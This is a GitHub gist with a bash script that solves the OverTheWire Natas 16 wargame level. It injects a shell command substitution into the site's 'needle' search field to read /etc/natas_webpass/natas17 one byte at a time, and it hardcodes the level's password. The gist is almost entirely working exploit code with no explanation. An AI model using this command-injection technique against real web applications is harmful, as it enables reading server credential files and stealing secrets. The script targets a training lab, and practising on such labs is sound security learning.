Skip to content

Instantly share code, notes, and snippets.

@nategraf
Created July 31, 2016 03:51
Show Gist options
  • Save nategraf/b5f351f29c29d41daad9ef0c286f4201 to your computer and use it in GitHub Desktop.
Save nategraf/b5f351f29c29d41daad9ef0c286f4201 to your computer and use it in GitHub Desktop.
PASS=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
TMPFILE=`mktemp XXXXXXXXXXXXXXX.tmp` || exit 1
for i in {0..31}; do
INJECT="needle=^\$(sed -n \$(od -An -tu1 -N 1 -j$i /etc/natas_webpass/natas17)p dictionary.txt)"
curl http://natas16:${PASS}@natas16.natas.labs.overthewire.org/ --form "${INJECT}" 2> /dev/null | sed -n '23p' >> $TMPFILE
done
cat $TMPFILE | while read line; do
ASCII=$(grep -n "^${line}$" dictionary.txt | cut -f1 -d:)
printf "\x$(printf %x ${ASCII})"
done
echo
rm $TMPFILE
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment